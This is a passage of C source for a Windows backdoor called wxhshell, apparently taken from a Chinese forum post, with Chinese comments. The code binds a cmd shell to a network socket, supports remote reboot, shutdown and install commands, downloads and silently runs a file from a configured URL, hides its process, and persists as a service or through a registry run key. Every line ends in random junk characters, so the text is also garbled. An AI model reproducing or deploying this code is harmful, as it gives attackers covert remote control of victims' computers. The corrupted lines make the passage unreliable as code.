  case '?': { s%?p%2&RA  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); jnLo[Cf,H8  
    break; 'V1 -iJj9  
  } UHDI9>G~,  
  // 安装 u:>3j,Cs  
  case 'i': { yqc(32rF!  
    if(Install()) $oBZe>s .  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); as47eZ0\  
    else #K~j9DuR  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XQoT},C  
    break; ?9ho|  
    } ^T J   
  // 卸载 ("@V{<7(t  
  case 'r': { *'S%gR=Aa+  
    if(Uninstall()) }(7QJk5 j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2\8\D^   
    else g(F*Y> hk  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;w&yGm  
    break; .mU.eLM  
    } NGeeD?2~  
  // 显示 wxhshell 所在路径 rH_:7#.E  
  case 'p': { uEO2,1+  
    char svExeFile[MAX_PATH]; 2n r UE  
    strcpy(svExeFile,"\n\r"); H_r'q9@<>  
      strcat(svExeFile,ExeFile); ZN]c>w[ )I  
        send(wsh,svExeFile,strlen(svExeFile),0); >Ti2E+}[M  
    break; 0Y`tj  
    } w*R-E4S?2  
  // 重启 Y8xnvK*  
  case 'b': { r{3 `zqo  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Xv(9 Yh S  
    if(Boot(REBOOT)) X!+ a;wr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); = 8e8!8  
    else { T7_ SO,X  
    closesocket(wsh); tcdn"]#U  
    ExitThread(0); ^%/5-0?xE  
    } ~oR&0et  
    break; 2g8P$+;  
    } SX<mj  
  // 关机 "jJ)hk5e  
  case 'd': { ]O ` [v  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); U@AfRUF&  
    if(Boot(SHUTDOWN)) #.t{g8W\C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <;Z3 5 {  
    else { *M<=K.*\G  
    closesocket(wsh); M HB]'  
    ExitThread(0); NS~knR\&  
    } ~,65/O  
    break; 'i-O  
    } >o= p5#{  
  // 获取shell BfLZ  
  case 's': { j7 3@Yi%  
    CmdShell(wsh); PGhZ`nl  
    closesocket(wsh); ll09j Ef  
    ExitThread(0); 25[/'7_"  
    break; odn`%ok  
  } #iDFGkK/  
  // 退出 i */U.'#  
  case 'x': { Bb"4^EOZ,  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); sYP@>tHC  
    CloseIt(wsh); OkUpgXU  
    break; _ 7.y4zQJ  
    } -{%''(G  
  // 离开 -B(KQT,J  
  case 'q': { jP'b! 4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); E-iBA(H  
    closesocket(wsh); x7@HPf  
    WSACleanup(); ?zu{&aOX|  
    exit(1); 28yxX431S  
    break; AAY UXY!  
        } Z!eq/  
  } w8ld* z  
  } (32nI?)a  
9?c^~77  
  // 提示信息 5/ju it  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .)zISa*Xy  
} c3t8yifQ  
  } _q4m7C<  
='>UKy[=  
  return; Cw5K*  
} +N@F,3yNa  
+eXfT*=u5  
// shell模块句柄 ;VRR=p%,  
int CmdShell(SOCKET sock) 5^/[]*  
{ mIo7 K5z{  
STARTUPINFO si; W fNMyI  
ZeroMemory(&si,sizeof(si)); RBD MZ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; p2(_YN;s  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .x8$PXjPG  
PROCESS_INFORMATION ProcessInfo; @/FX7O{n:  
char cmdline[]="cmd"; 1U7HS2  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *)I1gR~  
  return 0; @E;pT3; )  
} - S-1<xR  
.Tv(1HAc2l  
// 自身启动模式 9#6/c  
int StartFromService(void) #Q7$I.O]  
{ N Z`hy>LF^  
typedef struct i`'^ zR(`i  
{ H-w|JH>g  
  DWORD ExitStatus; <z)G& h@  
  DWORD PebBaseAddress; #{,IY03  
  DWORD AffinityMask; V/e_:xECC  
  DWORD BasePriority; ]L^M7SKE6  
  ULONG UniqueProcessId; w%n]~w=8  
  ULONG InheritedFromUniqueProcessId; ,2bAKa  
}   PROCESS_BASIC_INFORMATION; H/Q)zDP  
i@L2W>{P  
PROCNTQSIP NtQueryInformationProcess; /)TEx}wk  
,&G M\FTeb  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -~fI|A^  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~\,6 C1M  
yFsXI0I[p  
  HANDLE             hProcess; pnJT]?},  
  PROCESS_BASIC_INFORMATION pbi; qTF>!o #\:  
3PffQ,c[~  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Z+(V \  
  if(NULL == hInst ) return 0; ,+.# eg  
J}CK|}  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); au* jMcq  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7!;/w;C  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^i\1c-/  
[^~9wFNtd  
  if (!NtQueryInformationProcess) return 0; /vu!5?S  
LP /4e`  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); w}q"y+=Z:  
  if(!hProcess) return 0; =:eE!  
z?[DW*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; k)Wz b  
F DX+  
  CloseHandle(hProcess); 2Zip8f!  
/ u6$M/Cf>  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <Q)}  
if(hProcess==NULL) return 0; kELyD(^P`  
1A-EP@# J  
HMODULE hMod; #jiqRhm  
char procName[255]; yTiqG5r  
unsigned long cbNeeded; ':4pH#E  
*'-^R9dN.S  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2"mj=}y6  
rK|&u v*b  
  CloseHandle(hProcess); Ya 4$7|(  
P^W47 SO  
if(strstr(procName,"services")) return 1; // 以服务启动 3=7h+ZgB  
krc!BK`V  
  return 0; // 注册表启动 ^#se4qQ  
} ;(6lN<i U  
|3ETF|)?  
// 主模块 $t'I*k^N  
int StartWxhshell(LPSTR lpCmdLine) |Eu~= J7@  
{ [zEP|  
  SOCKET wsl; . *xq =  
BOOL val=TRUE; ped Yf{T  
  int port=0; HYmXPpse  
  struct sockaddr_in door; hATy 3*4  
7g+]  
  if(wscfg.ws_autoins) Install(); #SNI dc>9\  
Fg_s'G,`  
port=atoi(lpCmdLine); *PU,Rc()6  
w[YbL2p  
if(port<=0) port=wscfg.ws_port; ygt)7f5  
>]8.xkQq  
  WSADATA data; UROi.976D  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; q.{/{9  
'fFdqsXr  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   +Q0-jS#d  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); S'p`ECfVMA  
  door.sin_family = AF_INET; KBA%  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); F6VIH(  
  door.sin_port = htons(port); \ZZy`/~z*7  
@$Kq<P  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { o{W]mr3D  
closesocket(wsl); ,s&~U<Z  
return 1; SJ^?D8  
} iDc|9"|Tf3  
<OSvRWP)  
  if(listen(wsl,2) == INVALID_SOCKET) { UyKG$6F?3  
closesocket(wsl);  j)6B^!  
return 1; n3j h\  
} $IZZ`Z]B  
  Wxhshell(wsl); 6 <S&~q  
  WSACleanup(); KXCmCn  
Q9tE^d+%  
return 0; qFbUM;  
)0MshgM  
} })vr*[  
E?U]w0g  
// 以NT服务方式启动 u(WQWsN  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >ImM~SR)  
{ aZGDtzNG5h  
DWORD   status = 0; UDtbfc7bk  
  DWORD   specificError = 0xfffffff; ~9YA!48  
,!u@:UBT  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ]pTw]SK  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; \+Ln~\Sv  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 05I39/T%  
  serviceStatus.dwWin32ExitCode     = 0; f,inQ2f}d  
  serviceStatus.dwServiceSpecificExitCode = 0; 4@iJ|l  
  serviceStatus.dwCheckPoint       = 0; zTT  
  serviceStatus.dwWaitHint       = 0; ;Jn0e:x`E  
*oX]=u&  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); VD3MJ8!w  
  if (hServiceStatusHandle==0) return; gLMea:  
A-C)w/7  
status = GetLastError(); "u8o?8+q~  
  if (status!=NO_ERROR) b\j&!_   
{ ;=\5$J9  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; VSpt&19  
    serviceStatus.dwCheckPoint       = 0; R:BBNzY}f  
    serviceStatus.dwWaitHint       = 0; Dke($Jr{  
    serviceStatus.dwWin32ExitCode     = status; giPo;z\c  
    serviceStatus.dwServiceSpecificExitCode = specificError; yki51rOI*  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); zo7XmUI3P  
    return; %i -X@.P  
  } u$=ogp =0  
M:UB>-`bW  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; I<(.i!-x  
  serviceStatus.dwCheckPoint       = 0; }A)36  
  serviceStatus.dwWaitHint       = 0; !:O/|.+Vmf  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ngY+Ym  
} p@7i=hyt`p  
m{$tO;c/Q  
// 处理NT服务事件,比如:启动、停止 >yA,@%X  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ncJFB,4  
{ u ?G\b{$m  
switch(fdwControl) l^UJes!  
{ `\F%l?aY  
case SERVICE_CONTROL_STOP: k4F"UG-`  
  serviceStatus.dwWin32ExitCode = 0; <.=#EV^i  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; PVD ~W)0m*  
  serviceStatus.dwCheckPoint   = 0; x\J;ZiWwW  
  serviceStatus.dwWaitHint     = 0; }L$Xb2^l  
  { zdjM%l);  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "?eH=!  
  } TcKvSdr'  
  return; @"{'j  
case SERVICE_CONTROL_PAUSE: )}Rfa}MD  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Vy% :\p+  
  break; #mRFUA  
case SERVICE_CONTROL_CONTINUE: G V:$;  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; si^4<$Nr%j  
  break; lsB9;I^+x  
case SERVICE_CONTROL_INTERROGATE: 9o`7Kc/g  
  break; n-hvh-ZO  
}; <K,% y(]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2B9 i R  
} eg2U+g4  
oEQ{m5O9  
// 标准应用程序主函数 ~3'RW0  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) b\?7?g  
{ ws>WA{]gq  
bB:r]*_ s]  
// 获取操作系统版本 2&.n  
OsIsNt=GetOsVer(); f2O*8^^Y{Q  
GetModuleFileName(NULL,ExeFile,MAX_PATH); U/X|i /  
jD'  
  // 从命令行安装 *2,e=tY>  
  if(strpbrk(lpCmdLine,"iI")) Install(); xb9Pc.A[  
TvunjTpaj  
  // 下载执行文件 j{{~ZM  
if(wscfg.ws_downexe) { MX!u$ei  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :DdBn.  
  WinExec(wscfg.ws_filenam,SW_HIDE); 3XeXzPj  
} M5GY>3P$c  
x">W u2  
if(!OsIsNt) { m]FaEQVoE  
// 如果时win9x,隐藏进程并且设置为注册表启动 gDQkn {T.%  
HideProc(); .D8~)ZWN  
StartWxhshell(lpCmdLine); eg"=H50  
} aho'|%y)  
else cOSxg=~>u  
  if(StartFromService()) eyeNrk*2o  
  // 以服务方式启动 [G{rHSK5tQ  
  StartServiceCtrlDispatcher(DispatchTable); CM%|pB/z  
else r}/yi  
  // 普通方式启动 ;wij}y-6  
  StartWxhshell(lpCmdLine); 2;r]gT~  
\{c,,th  
return 0; _tWJXv~;  
}
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只看该作者 1 发表于: 2006-10-10
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